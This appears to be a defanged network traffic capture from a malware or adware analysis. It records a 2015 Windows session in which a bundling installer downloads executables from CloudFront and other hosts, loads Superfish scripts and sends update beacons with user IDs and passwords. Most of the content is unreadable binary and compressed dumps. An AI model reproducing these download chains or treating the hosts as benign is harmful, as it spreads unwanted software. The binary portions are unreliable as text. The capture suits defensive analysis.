;PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGR2ZsAnoxOCObOpC82NfSRA21X80Q==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=241224-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 80408
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 241224-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UzYWzi1UYS3w_9i5HGyTkpzEP30iLmsSn4Bfu8w0VCSKCP_3Y1_bkg==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............AC..AC.hAC.XAC.<AC.(AC..AC..@C..@C..@C..@C..@[email protected]@C
[email protected]@[email protected]@C.(@C..@C..@C..?C..?C..?C..?C..?C.T@C.|?C.d?C.T?C.&
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: pqpT8LqHme9FdRPaw81fJ9H8201B_KPNJ251iZ9mhMZS_m6gZcR7xA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=80408-160816
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 80409
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 80408-160816/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ybgsVMP8abYbXsAAsxuQ0oSw7JQvH38FVC5cV0AbphEPedv7Ufedmw==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............
<<< skipped >>>


GET /ws/js/base_single_icon.js?ver=2015.2.11.10.1 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:04 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 10 Feb 2015 10:42:12 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 08 Mar 2015 05:34:04 GMT
Cache-Control: max-age=2073600
Cache-Control: public
Access-Control-Allow-Origin: *
Content-Encoding: gzip
7d52..............m{.7..... .....$..3yq,..Nr.9q......^].....H.MY.8...}
W....M..w.~x.;.....B.P.....xU.g........dPW..t.\,.........>.v:.....]
.....`U....Yq<......N..j<.._.....r.w._.n~k]...j.z.(...l.......k.
W.....U5.Kyi...O....7.... .c1-wcg..O.uY.XpvZ,.u].O.b5..........e.X..-.
..\.F.b.~<.NG,.Ze.7Vg..e1 /......r....F.]\..V...Z.e....,.........bl
...n.\......=\......r.6.Z=..........y9[.[............z........$..F..w.
.H............ru.....p.XL......^.fc.......p..u*~....8..[:.!Pb<Z..3.
........h....6.....D&...".........d%4/...L....o~<1..........0Y..^..
|Y.........rkc.x.&1-g....P.^...67.."8 yX.,.....W.T.$...l,.K3..]...)...
...t.*.=.p.......!.F../...k-.t....[..8..>...[._.....|....`......y..
...iu.EX/....|\.......d<-G3l.......7..._./.^~.`{..o/...X..b........
[email protected]..]...U...#..:yQoJ..q.......h..5...
.Is....}./v.../.O..........j^........-....{.Q2.L....N..P...6.....8..2Q
.. ....H.../G.3..=:p.....j.?.j...`..N....h5>.*[email protected]
T....W..;~.D.J.T. ........$..X.f......U.F.Z...X..j....;$A.z...*.=IW.@.
/.....w...=}.*.V{......~..._........?...R..w.....[[.t..A.{S...Vx.Z.U..
....];..@...=.....;.{..z.....A..z.....Lp.......~wd.]x..=8=......6..t..
%(.j..6.....d..y.It..ZX.7.}..@......{/v..;.}k.....v.l.i5...<".v=.o!
m..........;.vV...a....8......G.......`.Q.E ..-..j..~[5u..xL.9Q..U5.V.
*.6..rt..h5............... ....[.....3...^....VO7)..Z....Z........8...
.`z.'.........1V.....{G&D....%..x?..N...8.*0.)....%...G..L.. ...R`E.r.
..M....{x6.....$_...........8.J..C.y)..q..EA.5\.`J.. l...KL&....K.
<<< skipped >>>

GET /ws/products/main.js?v=2015.2.11.10.1&partnername=pelmmbomol HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:05 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 10 Feb 2015 10:42:14 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 08 Mar 2015 05:34:05 GMT
Cache-Control: max-age=2073600
Cache-Control: public
Access-Control-Allow-Origin: *
Content-Encoding: gzip
3a8d.............}k..F....s.?..>..%..z..-.......XK..Y.... .....X...
..{#"...UR..........gd.#2Qg.,..eU&....?...I=........o{.....z.\.U3^.?..
.h.|T.......Z.*..n\..}.dE.dQ..N.{.(.S..iu.VO.MZ}[E....X.9.,P.......}..
.{}...g."..v..(.......:...."m.eu.,....t...7./...u.F.q..?....7....W..&.
..t.Gq:......?.....Yvc..../[email protected]....;A.7-WE.,.
.5.P....]...7,.;......4/...v.6....,.....`......z.)<........QR..Q4B.
.....KA..iZ4e.|... ..:^..T..x.rk..."....M.4Mj....~...I .)...yy....X.Fg
i.......Wx(0R.\=K..$...|[email protected] ....GM]N#.Ra.k
....4-.EY6...r.q.....,..L.,.,A.....u6..-.W)....s4O....f.,.....}.#.w...
.....4.."NG...............$...) 7..?....s.F.>7..j.Kv<.e..i.)%y;.
,.....e....P.<O3..r&.]..../..<M....(..5. Z5}U6Y.).a~....v... ..b
Snu9..........d.&.g.|...OWU...(4..t..D..c.b...^...n.....@..<......D
.N.....!...3L..fi..Y<.f .. .R...80.K.eY.W...'#.,6..r.....K.s=..O...
*..y6M.Y3g..........}. g...v..H_5....Ey....d]cY&....V.....l.....Y..im.
....[7.j..eZM......8..:....Y...&#p.......%g.H.,..0.F..r2l...E.....5...
...T....&_.f...m.0$x..R.s...K..M.........Yc...c..`N...."..O..XI..W.<
;..*..4..=.M).Zm.z../.o...B...;.*..qs...xYE1.0-R.j..e..r......|..Y....
.t..B].....*.^.$..(... '.x9.0.!\..k...)..3pP.Y0e..w.*_...Q.jR,.....e.M
...._..)zE/.^..<..k.....<&..Q.Y...:...&...j.o.X/..s... ..7@u.#.t
.ij/shp.P{..N....wOW9 .k.......,3.c^..`;......<.-a..BVZ..........Lv
.v.-.....q...o 61w`.#/"......M-.(.b.......:.;.! .Y...........S...<]
.ya.R-xI.(...).)S.....j.F.z[<....aQt4$.>..!nn.4.u.dY....>
<<< skipped >>>


GET /img/accelerating-videos.jpg HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=lusi11zr5h1hwcopad25teyn


HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT
Accept-Ranges: bytes
ETag: "0d8fd638984cf1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:57 GMT
Content-Length: 62153
......Exif..II*.................Ducky.......P.....)hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM
:InstanceID="xmp.iid:C1DF3D4AC22211E2B54FF29E4590DCFE" xmpMM:DocumentI
D="xmp.did:C1DF3D4BC22211E2B54FF29E4590DCFE"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:C1DF3D48C22211E2B54FF29E4590DCFE" stRef:doc
umentID="xmp.did:C1DF3D49C22211E2B54FF29E4590DCFE"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
..................2...................................................
...........................................!..1AQ.aq....."2....BR#U...
b..3.T...W...S..u..rC.$4%6s...5.&V7.c.DdtEv'...e.Gw...................
....!1..A....Qaq."2RS...r3T.#....B..b$......4...D.EF............?...c.
.......!..A...H....\`.f...L...0.q%h.7.[{3..I....3.......wJ..x..h.;..=*
........m..P.PT..0.gi..K.Lb ....%.'..T....c....%.9.`("....`..#...Yy...
.L........Z.*.iM....V...n.*w.rb.6.......Q#... b...b.gU.?Sh}..T....
<<< skipped >>>

GET /ConversionService/GetScript.ashx?s=finish&frame=1&aff= HTTP/1.1


Accept: text/html, application/xhtml xml, */*
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=lusi11zr5h1hwcopad25teyn; _ga=GA1.2.859618243.1423719243; _gat=1


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:59 GMT
Content-Length: 216
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<......
.[......m.zt........../..>|...;.......~..<n..........].....]....
_....%.8.............HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: text/html; charset=utf-8..Content-Encoding: gzip..Vary: Accept-E
ncoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Pow
ered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:33:59 GMT..Content-Length:
 216...............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@.
.....{....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<
.......[......m.zt........../..>|...;.......~..<n..........]....
.]...._....%.8.................


GET /favicon.ico HTTP/1.1


Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=lusi11zr5h1hwcopad25teyn; _ga=GA1.2.859618243.1423719243; _gat=1


HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 1245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>....
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=72896-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 72896-583167/583168
Content-Length: 510272
Connection: keep-alive
..=!Q......}.,J.....](.r...p........p...n....47}...ss.x...-..e..~.m...
...:.....>.}.y.`.*X;..5...?..?.o...... [email protected].:.B7"..kv.....
Me..J~.>1]>.G78`.ow..Nnl..- ;[email protected]...=
.YK.B{..s...I..~..*E.._M....Bo.8s^......e...P..::A5..*Q....`r.1 ...(md
i.z...l...G...1.m._..aQ.[..7.........k.hDS=N.......m.E..}r.y..8(yX8..6
[email protected].`.F....$....3Q......Y#|....>O.\.L.....=...
u9h.B^.|.'......gw...b....l.. ..7..`.c..a..'.)..[.W...8.....W.|...l...
..O>..v}[email protected].#.. ....[......~..m.X.N.l~.kYP.%.>Z.
R.k.\.KQn.......t!H...I].&;..x.V?..)D8....Y.].."o(~&...l..A.w...@X... 
....C.&....W..(.D...cAd..-....Fr.....9.=Fg..?..c.S.du..u2...G.}.[E.G..
V9..W`Zf...m)jsB.t.....Z:9..k..T...67.~./.....$.Mq.S.j.MN...3.6!4.....
.~.. /[email protected]<}..M.....n<.......J..J..[..`.....G.l.\.....P..1
?V.X...l."..p0.......MJ.l..f...n.^Q.|,..........u.zr.....3.......LQ.K:
.kW.q0t..i...N..E...N.b.. Q .'_D...L.F....$..$..6...].4....m:._u...aN.
ml2..z.$,|..4..G.:............D&...)'.kW{..}J........_xN]....:.-..'c.m
sri.......?. ............0.j.44.....{..U............8O.."..\.vv.3p.1..
.'5j.fl.s.._..P.>*t.U.{.BI....."...M.iR.....Fxt...K..\..@.,O.L....\
.}Jv.....,.i........5..%... .I.u..>...1n.......8il..S.$........3.{'
....z'....4r[.U.12.......y..ak..z.zt..)[email protected]....*..`....%..........
W!`$].`V......l..}...\...I*..)~U/...k..7..].G.)..z...~..HY..6...I....g
"..e..s....R..C..9..i...(i.....0.tI.d..%'`1...84...-{X>......PA..5l
....2..!...F..~.Z...=.id..\ ...(2....._W.!.Nc..F...@.[...th.R.x.tm
<<< skipped >>>


GET /windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv= HTTP/1.1
Host: VVV.theviilage.com
User-Agent: Mozilla/4.0  
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:36 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
1..1..0..



GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1
Host: download.cdn.mozilla.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=900000-1199999
Connection: keep-alive


HTTP/1.1 206 Partial Content
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Cache-Control: max-age=604800
Content-Range: bytes 900000-1199999/47994403
Content-Type: application/octet-stream
Date: Thu, 12 Feb 2015 05:33:23 GMT
Etag: "4b1e700-2dc5623-508c5f506dac8"
Expires: Thu, 19 Feb 2015 05:33:23 GMT
Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT
Server: ECAcc (ams/48E1)
X-Backend-Server: ftp3.dmz.scl3.mozilla.com
X-Cache: HIT
X-Cache-Info: not cacheable; response code not cacheable
Content-Length: 300000
d,.f.\s..H.vB9..b.I`.b..8%..g..m....x..*.....{....?..u;f....._nU._....
..y q....].~..N...=....c.:..wuz. g...O?....*-..U..,..]u.iE...9..s.gN..
5.A.v....;BK..H.....>.J..T.n.#. .......^:...9.giR..h.s..dX[:..D..3.
..I.`.5..pb.s.-..........P...M.3.,.Z.....t.&Z$nJ."o'.\..O.h.B,Y.......
W.........!<.eu.BWsJ.=...Z.l....~..l'...l..9l|....d.x....Fw.B.Gv8..
..2.XJ.Ed..r...V.J.%.$.~^..N..b.....!..w h-..3.......C[m......R.*/[email protected]
Jg..L.......t.#A....X......D.B.....w.d...$6....8.I....GP..e...o\.UJ.u.
.yX.I....c..<KG..T......L..mT..,7rA..g..".?....../.&...dI......&.. 
.k..p.....s..J\..J..p....!.1(...U...A=.......D.....{.H.....v..5!..w...
....&.s|......=...V...Ig..Dp..@k..*...o".......Q..r..l]u.u/...(.i.....
.(..j........1.g7..f._N..eVm..~...)%.hX0Zm............z.w...R.".^.hI.Q
..nZ@..|[email protected]..._.....(!$....gR..;O.$$#...w.{.k.hB.4.?.
....u.$...&}.......Od.. ....".......;[[email protected]$.n.[...B?n.....
.$.\%2........!S...l.(.k...:......c...h.f/...x..VZ..A..R*~....dHh.....
9...I.m [email protected]<...i.v./-.\-......d..~h..H. ..6.M
..0....Z.A.T....N..K @....j%....U:.^..z...~.I.....F"..J...`.......1F$.
..s.D......x$O6....;r.P./.es4.*......n.{g._.U..R?(......|.....B.......
m.N....p&.Z......*..ZQ..VR..[..8@".1xy.P..........z.n^.<....^...n3.
..1...'Ki../[email protected]..<.M$..2..|.v.n/6...V.
.......lE/......w8-........-R..\e...WA...756.H.]/d.....-......'.......
.. ..4J@.<.S.4....Fu6%...du.iP.....*>........%/..>#..}....._.
..c.b.f..!...D%L...../.......,...o&u...#..1...Ex.k.P.. .S.J/......
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 200 OK
Connection: close
Date: Thu, 12 Feb 2015 05:33:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=1ajtyliy2fe0u3nsaexg2n45; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=178475-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 107083
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 178475-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UvKV6CpKtodst91p7BEL6aQMBmTmN8EB1HnrBIce1tDbMEzW0QBoLQ==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
